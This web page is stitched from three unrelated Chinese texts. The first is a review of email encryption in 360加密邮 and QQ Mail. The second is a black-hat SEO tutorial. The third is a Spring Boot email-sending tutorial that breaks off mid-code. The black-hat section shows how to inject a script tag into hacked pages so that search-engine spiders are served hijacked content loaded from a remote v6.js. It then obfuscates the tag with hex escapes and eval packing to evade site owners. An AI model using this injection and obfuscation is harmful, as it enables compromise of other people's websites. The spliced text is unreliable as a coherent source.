整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

信息安全不容忽视 体验邮件加密功能

信息安全不容忽视 体验邮件加密功能

泡网笔记本频道2月4日 无论是在生活或是工作中我们都要用到电子邮件,而且几乎所有的互联网使用者都拥有自己的电子邮箱。随着网络的高速发展,电子邮件的每日发送的数量也在不断攀升,平均每分钟全球就有上亿封电子邮件发出。与此同时,信息泄露事件也总是流传在我们耳边,尤其是2014年国内爆出了众多互联网安全问题,其中邮件泄密非常严重,安全性令人担忧。在多数人看来,保护好自己的邮箱就是将邮箱密码设置的越复杂越好,然而邮件泄露则可能发生在传输、存储过程中,令人防不胜防。因此,对于自己的邮箱以及重要邮件还需要进一步的保护。

电子邮件加密的重要性

多数情况下我们日常发送的邮件都是没有进行加密操作的,也就是说日常发送的邮件内容传输均是以明文方式进行,一旦被拦截、盗取,邮件内容将全盘曝光。邮件加密不仅仅被应用在企业、政府等企业级别,包括学生向老师发送毕业论文等较为重要的邮件同样需要进行加密操作。因此,发送加密邮件,也应该是我们应该了解的一部分网络安全内容。

360加密邮发送、接收加密邮件

前不久360出品了一款邮件加密软件:360加密邮,下面笔者就来谈谈这款加密软件的试用体验,同时也与常用的QQ邮箱、网易邮箱加密功能进行对比,让大家对于这些主流邮箱加密软件有更深的了解。此外,笔者也为大家带来一些日常使用电子邮件的注意事项,以此告知大家如何正确并安全的使用邮箱,保护自己的邮件安全。

首先,我们先来看看360加密邮这款软件,该软件有Windows版和Android版两个版本,笔者在此以Windows版本为例。

客户端登陆

初次使用时需要设置姓名,并且同时可以选择在打开此应用时是否需要输入密码,在此我们选择需要密码。在输入密码时,笔者尝试输入“123456”这样安全系数低的密码,软件居然没有任何危险提示,而且笔者设置的密码提示也为123456,提示与密码相同居然没有提示,也没有密码太弱,相比来看缺少人性化的提醒。

设置邮箱、手机号二次验证

接下来,我们需要登陆自己的邮箱,登陆过程与大多数的邮箱客户端相似。不过,作为邮件加密软件,还有两个更为重要的设置。其中,第一个就是设置好目前邮箱的安全密码,第二个就是需要手机号严重作为双重保证。(注:此处的安全密码为查看加密邮件的密码)

1,发送加密邮件

在发送邮件的界面,我们可以看到两种发送方式,如果想要发送加密邮件,只需要点击“加密发送”即可发出加密邮件,操作非常简单。此外,在360加密邮中抄送功能正常,但是没有密送选项。

2,接收加密邮件

如果接收方是非360加密邮的注册账号,在查看经过加密的邮件时,我们发现“加密”过的邮件变成了一个以“html"结尾的附件,也就是说这个附件是一个本地离线的网页。

打开附件后,弹出的网页如上图所示。在此,我们可以选择输入邮箱的安全密码查看邮件,其中我们可以通过“接收邮件地址或发送邮件地址”的安全密码进行查看。也意味着对方如果没有在360加密邮进行注册,那么则只能发送方的安全密码查看邮件。

如果接收邮件方是360加密邮注册账号,那么在加密邮的客户端打开后即可看到完整的邮件内容,并不需要进行手动输入密码进行验证。这也是360加密邮基于IBC标识密码(SM9算法)的优势,对于双方均注册的用户来说发送和接收加密邮件的使用体验非常不错,省去了以往需要验证码或证书验证的步骤。

笔者试用过后认为360加密邮与微软的outlook软件相差不大, 操作起来简单、易懂,上手较快,是目前值得推荐的邮件加密软件。

QQ邮箱发送、接收加密邮件体验

除此以外,我们最常用的QQ邮箱和网易邮箱还支持网页端直接发送加密邮件,可能你在日常使用时并未发现,下面笔者就为大家带来QQ邮箱发送加密邮件的演示过程,而网易邮箱的发送方法大体相似,在此就不做演示。

QQ邮箱网页端,下方其他选项--“对邮件加密”

输入密码,以供对方查看

如果对方是QQ邮箱用户,直接输入密码即可查看

如果对方不是QQ邮箱用户,则以zip压缩包形式发送,打开zip文件时需要输入密码

到这里,QQ邮箱发送加密邮件的过程基本就结束了。表面上看来,QQ邮箱网页版相比360加密邮软件不仅可以省去下载安装客户端的步骤,同时还能对每封邮件设立不同的安全密码,整体的灵活性相对较高。但是从安全性来讲,360加密邮确实更有优势一些。

主流邮件加密安全性对比

首先,我们需要了解目前邮件加密发送的加密方式。目前常用的电子邮件加密方式有:

1,基于对称密钥方式

安全性一般,此方式加密方式较为原始,使用起来也比较简单、易懂,采用此方式发送基本可以等同于将邮件转化为一个带有密码的压缩文件,安全防护性一般,但使用起来比较灵活,网页端同样可使用。

2,基于非对称密钥方式

安全性高,此方式需要先交换密匙才能进行加解密操作等,这种加密方法只适用于企业、单位和一些高端用户。

3,基于IBC标识密码方式

安全性高,此方式的原理是使用对称算法加密邮件内容,再使用对方的公钥或证书来保证对称算法的密钥,使用较为便捷。

4,基于链式加密体系的方式

安全性高,此方式每次都随机生成一个随机密钥,再用对称加密算法对明文加密,然后用RSA非对称算法对该密钥加密。

我们看到的QQ邮箱和网易邮箱的网页版均是次用了第一种基于口令的加密方式,也就是说这些加密的邮件只是简单的基于口令加密的方式进行传输。然而,360加密邮采用的基于IBC标识密码(SM9算法)在安全性方面要更强大。

因此,360加密邮采用了IBC标识密码(SM9算法),这也是一种目前较为安全的加密算法,相比QQ邮箱、网易邮箱的网页版采用基于对称(口令)式的加密方式来看,360加密邮在安全性上要略胜一筹。

不仅仅是本文中提高的邮件加密软件,还有包括了MailCloak、PGP、Omail等众多邮件加密软件,它们在安全性方面依旧有着很高的可靠性,在此笔者并不一一介绍,感兴趣的朋友们可以自行尝试。

日常使用电子邮箱注意事项

下面,笔者就为大家来总结在日常使用电子邮箱时还需要注意的安全性事项,希望大家在日常使用时提起注意。

1,注册多个电子邮箱帐户,在各大网站注册不要使用邮箱密码

日常我们在注册网站时大多都需要用到电子邮箱,我们可以根据不同的需求使用不同的电子邮件进行注册,以免某些网站遭遇泄露时注册邮箱信息也被曝光。同时,我们在注册时也不要使用与邮箱密码相同的密码,将风险尽可能降低。

2,邮件客户端尽量选择SSL验证

多数的邮箱客户端可以设置SSL安全验证

我们如果通过客户端来进行接收、发送邮件的话,我们还可以设置SSL(一种安全协议)进行验证,从而进一步保证邮件的安全,以发送过程中被拦截等以外情况。

3,设置邮箱独立密码

对于使用QQ邮箱的朋友来说,默认情况下邮箱密码与QQ密码相同,我们可以设置一个独立的邮箱密码,防止QQ密码泄露后QQ邮箱也遭遇到泄露。

4,邮箱重要文件夹加密

如果说独立密码是第二层防护的话,那么给邮箱里的文件夹加锁就是第三道防线了,对于使用QQ、网易等邮箱的朋友来说,可以直接设置文件夹加密,在日常整理邮件时可以将私密的邮件进行归类,然后再进行独立加密,可将整个文件夹的安全性再次提高。

全文总结:

综合来看,360加密邮在安全性方面表现出色,如果收发双方均是注册用户,在收发双方均可以直接阅读而不用输入安全密码或者证书信息,其凭借此优势可以在邮件加密方面获得很好的使用体验,适合经常发送加密邮件的用户使用。而QQ邮箱、网易邮箱网页版中采用的基于口令式的密码加密,其灵活性更高,更适合临时发送加密邮件来使用。

目前主流的邮件加密并不需要用户付出额外的使用成本,如果你对自己的私密信息足够重视,笔者还是非常建议使用这种功能。最后,如果大家对于电子邮件加密方面有任何疑问,还可以与泡泡网笔记本频道官方微博@泡本记进行沟通、交流。■

一些黑帽SEO要对跳转的js代码进行加密,学习JavaScript加密方式,当我们网站被黑时,看到这段代码就明白这就是快照劫持的代码,删掉即可解决网站被黑问题。今天,错误博客(cuowu.com)分享的内容为《黑帽SEO教程为html中的js跳转url加密》。希望对大家有所帮助。

一、未加密的js代码

JavaScript跳转是黑帽SEO中快照劫持常见操作手法,比如在寄生虫程序使用中,在被黑掉的html或php中增加如下代码就可以完成快照劫持:

<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>

这段JavaScript代码的作用是引入v6.js文件,v6.js文件中的内容为if判断语句,如果访问的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,则显示劫持的快照内容,如果是用户直接访问浏览器则会显示原页面内容。

二、16进制加密

首先把上面的命令增加为如下:

window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;

然后,对前面双引号内的内容进行16进制加密,后面单引号内容也同样进行16进制加密,依次为:

\x64\x6f\x63\x75\x6d\x65\x6e\x74

\x77\x72\x69\x74\x65

\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73

这个可以用utf-8转16进制加密在线工具即可。错误博客站长导航里面有。

站长导航(https://cuowu.com/daohang/)

加密完成后变为:

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

三、JS混淆加密压缩

然后,把上述的js代码再次补充一下才能正常运行,即:

<script type=”text/javascript”>

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

</script>

把中间window到</script>;的内容利用站长工具的JS混淆加密压缩就可以得到eval加密形式,错误博客站长导航里面有。

站长导航(https://cuowu.com/daohang/)

获得如下加密代码如下:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

最终获得的加密代码如下:

<script type=”text/javascript”>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

</script>

这就是全部的js加密压缩过程了,解压过程反过来推就可以了。

以上就是错误博客(https://cuowu.com/)分享的内容为《黑帽SEO为html中的js加密(js混淆与16进制加密)》。感谢您的阅读。更多原创搜索“错误博客”。

. 准备工作


1.1 qq邮箱设置


本文默认使用qq邮箱来发送邮件,然后使用一个在线临时邮箱来接收邮件。 为了让程序能够通过qq邮箱来发送邮件,必须在qq邮箱中配置一下打开IMAP/SMTP服务



开启的时候,需要通过手机发送一条信息作为验证,验证成功后,会给你一个授权码,这个后面我们要用到




2. SpringBoot项目配置


2.1 springboot项目中引入email依赖


<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <!--<version>2.7.11</version>-->
        <version>2.5.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <java.version>1.8</java.version>
        <project-name>spring-boot-email</project-name>

        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

    <groupId>org.example</groupId>
    <artifactId>${project-name}</artifactId>
    <version>1.0-SNAPSHOT</version>
    <name>${project-name}</name>
    <description>${project-name}</description>

    <dependencies>
        <!--发送邮件的依赖-->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-mail</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        <!--web依赖-->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <!--=================应用==================-->
        <!-- thymeleaf模板 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>

        <dependency>
            <groupId>com.alibaba.fastjson2</groupId>
            <artifactId>fastjson2</artifactId>
            <version>2.0.25</version>
        </dependency>

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-lang3</artifactId>
        </dependency>

        <dependency>
            <groupId>com.google.guava</groupId>
            <artifactId>guava</artifactId>
            <version>31.1-android</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <version>2.7.1</version>
                <configuration>
                    <excludes>
                        <exclude>
                            <groupId>org.projectlombok</groupId>
                            <artifactId>lombok</artifactId>
                        </exclude>
                    </excludes>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>


2.2 application.yml配置信息


server:
  port: 8000
  max-http-header-size: 8192
  servlet:
    encoding:
      charset: UTF-8
      force: true
      enabled: true

#配置日志
logging:
  level:
    root: info
spring:
  application:
    name: spring-boot-email
  mvc.async.request-timeout: 20000

  mail:
    #    host: "smtp.163.com" # 发件服务器地址
    #    port: 25 # 常用邮件端口25、109、110、143、465、995、993、994 如果开启了SSL安全则使用对应的端口号,25为非加密端口号
    #    username: admin@163.com # 发送邮件的账号
    #    password: 123456 # 配置密码,注意,不是真正的密码,而是刚刚申请到的授权码
    #    default-encoding: utf-8 # 设置编码
    host: smtp.exmail.qq.com
    port: 465
    username: test@xxx.cn
    password: 123123
    default-encoding: utf-8 # 设置编码
    protocol: smtp
    properties: # 设置邮件超时时间防止服务器阻塞
      timeout: 5000
      connection-timeout: 5000
      write-timeout: 5000
      mail:
        debug: true # 表示开启 DEBUG 模式,这样,邮件发送过程的日志会在控制台打印出来,方便排查错误
        # 官方建议使用 465 端口,而 465 端口是 SSL 协议的,所以不仅要换端口,
        # 还需要进行 SSL 协议替换。下面是在 application.properties 进行的邮件发送相关配置,
        smtp:
          socketFactory:
            port: 465
          #socketFactoryClass: javax.net.ssl.SSLSocketFactory #配饰 SSL 加密工厂
          ssl:
            enable: true
  thymeleaf:
    cache: false
    mode: LEGACYHTML5 # 类型
    prefix: classpath:/templates/ # 模板存放的位置
    suffix: .html # 模板的后缀


2.3 创建EmailModel


用于封装邮件中需要包含的信息


package org.example.entity;

import java.io.Serializable;
import java.util.Map;

/**
 * @author test 2023-05-08 10:52:59
 */
public class EmailModel implements Serializable {
    /**
     * 收件人邮箱
     */
    private String[] recipientMailbox;

    /**
     * 邮件正文内容
     */
    private String content;

    /**
     * 邮件主题
     */
    private String title;

    /**
     * 抄送人邮箱
     */
    private String[] ccMailbox;

    /**
     * 加密抄送人邮箱
     */
    private String[] bccMailbox;

    /**
     * 真实名称/附件路径
     * enclosures: {“fileNmae”: "filePath+fileNmae"}
     */
    private Map<String, Object> enclosures;

    //    附件是否添加的到正文,默认false不添加
    //    private Boolean is_;


    public String getContent() {
        return content;
    }

    public void setContent(String content) {
        this.content=content;
    }

    public String getTitle() {
        return title;
    }

    public void setTitle(String title) {
        this.title=title;
    }

    public String[] getRecipientMailbox() {
        return recipientMailbox;
    }

    public void setRecipientMailbox(String[] recipientMailbox) {
        this.recipientMailbox=recipientMailbox;
    }

    public String[] getCcMailbox() {
        return ccMailbox;
    }

    public void setCcMailbox(String[] ccMailbox) {
        this.ccMailbox=ccMailbox;
    }

    public String[] getBccMailbox() {
        return bccMailbox;
    }

    public void setBccMailbox(String[] bccMailbox) {
        this.bccMailbox=bccMailbox;
    }

    public Map<String, Object> getEnclosures() {
        return enclosures;
    }

    public void setEnclosures(Map<String, Object> enclosures) {
        this.enclosures=enclosures;
    }
}


2.4 创建EmailService


package org.example.service;

import org.apache.commons.lang3.ArrayUtils;
import org.example.entity.EmailModel;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.mail.SimpleMailMessage;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.scheduling.annotation.EnableAsync;
import org.springframework.stereotype.Service;
import org.springframework.util.CollectionUtils;
import org.thymeleaf.TemplateEngine;
import org.thymeleaf.context.Context;

import javax.annotation.Resource;
import javax.mail.MessagingException;
import javax.mail.internet.MimeMessage;
import java.io.File;
import java.util.Date;
import java.util.Map;

/**
 * @author Administrator
 */
@Service
@EnableAsync
public class EmailService {
    Logger log=LoggerFactory.getLogger(getClass());

    /**
     * 将配置文件中的username注入到MAIL_USERNAME中, 这是发送人的邮箱地址
     */
    @Value("${spring.mail.username}")
    public String MAIL_USERNAME;

    /**
     * JavaMailSender类的对象, 是springboot自动装配的
     */
    @Resource
    private JavaMailSender javaMailSender;

    /**
     * template 模板引擎
     */
    @Autowired
    private TemplateEngine templateEngine;

    /**
     * 发送简单的邮件(内容为纯文本邮件)
     * @param model
     * @return
     */
    public boolean sendSimpleEmail(EmailModel model) {
        SimpleMailMessage simpleMailMessage=new SimpleMailMessage();

        // 设置发件人邮箱
        simpleMailMessage.setFrom(MAIL_USERNAME);

        // 设置接收人账号
        simpleMailMessage.setTo(model.getRecipientMailbox());

        // 设置邮件标题
        simpleMailMessage.setSubject(model.getTitle());

        // 设置抄送人
        String[] ccMailbox=model.getCcMailbox();
        if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
            simpleMailMessage.setCc(model.getCcMailbox());
        }

        // 加密抄送人邮箱
        String[] bccMailbox=model.getBccMailbox();
        if (ArrayUtils.isNotEmpty(bccMailbox)) {
            simpleMailMessage.setBcc(model.getBccMailbox()); // 加密抄送
        }

        // 发送日期
        simpleMailMessage.setSentDate(new Date());

        // 设置邮件正文内容
        simpleMailMessage.setText(model.getContent());

        // 发送邮件
        javaMailSender.send(simpleMailMessage);
        log.info("send simple email success!");
        return true;
    }

    /**
     * 发送富文本邮件(附件,图片,html等)
     *      使用MimeMessage来作为对象发送,
     *      但是邮件内容需要通过 MimeMessageHelper 对象来进行封装进MimeMessage 里
     * 注意:
     *      如果发送的内容包括html标签, 则需要 helper.setText(email.getContent(),true);
     *      第二个参数要为true,表示开启识别html标签.默认是false,也就是不识别.
     * @param model
     * @return
     */
    public boolean sendMimeEmail(EmailModel model) {
        MimeMessage mimeMessage=javaMailSender.createMimeMessage();
        MimeMessageHelper helper=new MimeMessageHelper(mimeMessage);

        try {
            // 设置发件人邮箱
            helper.setFrom(MAIL_USERNAME);

            // 设置接收人账号
            helper.setTo(model.getRecipientMailbox());

            // 设置邮件标题
            helper.setSubject(model.getTitle());

            // 设置抄送人
            String[] ccMailbox=model.getCcMailbox();
            if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
                helper.setCc(model.getCcMailbox());
            }

            // 加密抄送人邮箱
            String[] bccMailbox=model.getBccMailbox();
            if (ArrayUtils.isNotEmpty(bccMailbox)) {
                helper.setBcc(model.getBccMailbox()); // 加密抄送
            }

            // 发送日期
            helper.setSentDate(new Date());

            // 发送的内容包括html标签, 需要 helper.setText(email.getContent(),true); 开启html识别
            // 使用 MimeMessage 对象, 调用setText方法, 里面的字符串是带有html标签的字符串,
            // 在发送邮件的时候会自动解析正文中的html标签
            helper.setText(model.getContent(), true);

            // 发送邮件
            javaMailSender.send(mimeMessage);
            log.info("send mime email success!");
            return true;
        } catch (MessagingException e) {
            e.printStackTrace();
            return false;
        }
    }

    /**
     * 使用 MimeMessage 发送富文本邮件(附件,图片,html等)
     * @param model
     * @return
     */
    public boolean sendAttachMimeEmail(EmailModel model) {
        MimeMessage mimeMessage=javaMailSender.createMimeMessage();

        try {
            // 发送带附件的邮件, 需要加一个参数为true
            MimeMessageHelper helper=new MimeMessageHelper(mimeMessage, true);

            // 设置发件人邮箱
            helper.setFrom(MAIL_USERNAME);

            // 设置接收人账号
            helper.setTo(model.getRecipientMailbox());

            // 设置邮件标题
            helper.setSubject(model.getTitle());

            // 设置抄送人
            String[] ccMailbox=model.getCcMailbox();
            if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
                helper.setCc(model.getCcMailbox());
            }

            // 加密抄送人邮箱
            String[] bccMailbox=model.getBccMailbox();
            if (ArrayUtils.isNotEmpty(bccMailbox)) {
                helper.setBcc(model.getBccMailbox()); // 加密抄送
            }

            // 发送日期
            helper.setSentDate(new Date());

            // 发送的内容包括html标签, 需要 helper.setText(email.getContent(),true); 开启html识别
            // 使用 MimeMessage 对象, 调用setText方法, 里面的字符串是带有html标签的字符串,
            // 在发送邮件的时候会自动解析正文中的html标签
            helper.setText(model.getContent(), true);

            Map<String, Object> enclosures=model.getEnclosures();

            // 创建要传递的附件对象
            if (!CollectionUtils.isEmpty(enclosures)) { // import org.springframework.util.CollectionUtils;
                for (String key : enclosures.keySet()) {
                    // File file=new File("D:\mybatis.doc");
                    File file=new File((String) enclosures.get(key));

                    // 通过MimeMessageHelper对象的addAttachment方法来传递附件
                    // 第一个参数为附件名, 第二个参数为File对象
                    helper.addAttachment(key, file);
                }
            }

            // 预览文件
            // helper.addAttachment("2.jpg", new File("E:\\pic\\2.jpg"));
            // 配合前端可以直接预览图片
            // helper.addInline("p01", new FileSystemResource(new File("E:\\pic\\2.jpg")));
            // helper.addInline("p02", new FileSystemResource(new File("E:\\pic\\2.jpg")));

            // 发送邮件
            javaMailSender.send(mimeMessage);
            log.info("send mime email success!");
            return true;
        } catch (MessagingException e) {
            e.printStackTrace();
            return false;
        }
    }

    /**
     * 发送模板邮件 使用 thymeleaf 模板
     *   如果使用freemarker模板
     *       Configuration configuration=new Configuration(Configuration.VERSION_2_3_28);
     *       configuration.setClassForTemplateLoading(this.getClass(), "/templates");
     *       String emailContent=FreeMarkerTemplateUtils.processTemplateIntoString(configuration.getTemplate("mail.ftl"), params);
     * @param model
     * @return
     */
    public boolean sendTemplateMail(EmailModel model) {
        // 发一个复杂一点的邮件
        MimeMessage mimeMessage=javaMailSender.createMimeMessage();

        try {
            MimeMessageHelper helper=new MimeMessageHelper(mimeMessage, true);

            // 设置发件人邮箱
            helper.setFrom(MAIL_USERNAME);

            // 设置接收人账号
            helper.setTo(model.getRecipientMailbox());

            // 设置邮件标题
            helper.setSubject(model.getTitle());

            // 设置抄送人
            String[] ccMailbox=model.getCcMailbox();
            if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
                helper.setCc(model.getCcMailbox());
            }

            // 加密抄送人邮箱
            String[] bccMailbox=model.getBccMailbox();
            if (ArrayUtils.isNotEmpty(bccMailbox)) {
                helper.setBcc(model.getBccMailbox()); // 加密抄送
            }

            // 发送日期
            helper.setSentDate(new Date());

            // 使用模板thymeleaf
            // Context 是导这个包import org.thymeleaf.context.Context;
            Context context=new Context();
            // 定义模板数据
            context.setVariables(model.getEnclosures());
            // 获取thymeleaf的html模板, 指定模板路径
            // 在 Spring Boot 中, 模板引擎的默认配置已经将模板文件的根路径设置为 /src/main/resources/templates
            String emailContent=templateEngine.process("index.html", context);

            // 发送的内容包括html标签, 需要 helper.setText(email.getContent(),true); 开启html识别
            // 使用 MimeMessage 对象, 调用setText方法, 里面的字符串是带有html标签的字符串,
            // 发送邮件的时候会自动解析正文中的html标签
            helper.setText(emailContent, true);

            Map<String, Object> enclosures=model.getEnclosures();

            // 创建要传递的附件对象
            // import org.springframework.util.CollectionUtils;
            if (!CollectionUtils.isEmpty(enclosures)) {
                for (String key : enclosures.keySet()) {
                    // File file=new File(“D:\mybatis.doc”);
                    File file=new File((String)enclosures.get(key));
                    // 通过MimeMessageHelper对象的addAttachment方法来传递附件, 第一个参数为附件名, 第二个参数为FIle对象
                    helper.addAttachment(key, file);
                }
            }

            // 发送邮件
            javaMailSender.send(mimeMessage);
            log.info("send mime email success!");
            return true;
        } catch (MessagingException e) {
            e.printStackTrace();
            return false;
        }
    }
}


2.5 创建EmailController


package org.example.controller;

import org.example.entity.EmailModel;
import org.example.service.EmailService;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

import javax.mail.MessagingException;

/**
 * 通知告警服务:
 *      集成 drools:
 *
 *      通知渠道: 站内信, 邮件, 短信, 微信 等等
 *      通知策略: 告警级别设置, 告警规则合并, 告警通知的周期。。 粒度
 *          交易通知:
 *              告警级别
 *              通知策略:
 *                  drools
 *          告警规则:mysql+springboot 交易服务 放在 同一台机器 --》 几百条 合并为一条
 *      权限,认证
 * @description:
 */
@RestController
public class EmailController {
    Logger log=LoggerFactory.getLogger(getClass());

    @Autowired
    EmailService emailService;

    @RequestMapping("test")
    public String test() {
        log.info("ok");
        return "ok";
    }

    /**
     * {
     *     "recipientMailbox": [
     *         "test@xxx.cn"
     *     ],
     *     "title": "简单测试主题",
     *     "content": "测试邮件测试人test"
     * }
     * @param model
     * @return
     * @throws MessagingException
     */
    @RequestMapping("sendSimpleEmail")
    public String sendSimpleEmail(@RequestBody EmailModel model) {
        emailService.sendSimpleEmail(model);
        return "success!";
    }

    /**
     * {
     *     "recipientMailbox": [
     *         "test@xxx.cn"
     *     ],
     *     "title": "html测试主题",
     *     "content": "<h1>测试邮件测试人test</h1>
     *        <a href=\"https://www.baidu.com/\">点击跳转百度</a>
     *        <img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>"
     * }
     * @param model
     * @return
     * @throws MessagingException
     */
    @RequestMapping("sendMimeEmail")
    public String sendMimeEmail(@RequestBody EmailModel model) {
        emailService.sendMimeEmail(model);
        return "success!";
    }

    /**
     * {
     *     "recipientMailbox": [
     *         "test@xxx.cn"
     *     ],
     *     "title": "附件测试主题",
     *     "content": "<img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>",
     *     "enclosures": {
     *         "dog2.jpg": "E:\\img\\dog2.png"
     *     }
     * }
     * @param model
     * @return
     */
    @RequestMapping("sendAttachMimeEmail")
    public String sendAttachMimeEmail(@RequestBody EmailModel model) {
        emailService.sendAttachMimeEmail(model);
        return "success!";
    }

    /**
     * {
     *     "recipientMailbox": [
     *         "test@xxx.cn"
     *     ],
     *     "title": "thymeleaf 测试主题",
     *     "enclosures": {
     *         "dog2.jpg": "E:\\img\\dog2.png"
     *     }
     * }
     * @param model
     * @return
     */
    @RequestMapping("sendTemplateMail")
    @ResponseBody
    public String sendTemplateMail(@RequestBody EmailModel model) {
        emailService.sendTemplateMail(model);
        return "success!";
    }
}


3. 邮件发送类型讲解


下文中所有的实现都是写在 EmailService 类中。


3.1 发送简单的邮件(内容为纯文本邮件)


通过SimpleMailMessage对象来发送简单邮件,邮件的内容只能是纯文本,将内容封装到该对象中,再通过javaMailSender对象来发送邮件


/**
 * 发送简单的邮件(内容为纯文本邮件)
 * @param model
 * @return
 */
public boolean sendSimpleEmail(EmailModel model) {
	SimpleMailMessage simpleMailMessage=new SimpleMailMessage();

	// 设置发件人邮箱
	simpleMailMessage.setFrom(MAIL_USERNAME);

	// 设置接收人账号
	simpleMailMessage.setTo(model.getRecipientMailbox());

	// 设置邮件标题
	simpleMailMessage.setSubject(model.getTitle());

	// 设置抄送人
	String[] ccMailbox=model.getCcMailbox();
	if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
		simpleMailMessage.setCc(model.getCcMailbox());
	}

	// 加密抄送人邮箱
	String[] bccMailbox=model.getBccMailbox();
	if (ArrayUtils.isNotEmpty(bccMailbox)) {
		simpleMailMessage.setBcc(model.getBccMailbox()); // 加密抄送
	}

	// 发送日期
	simpleMailMessage.setSentDate(new Date());

	// 设置邮件正文内容
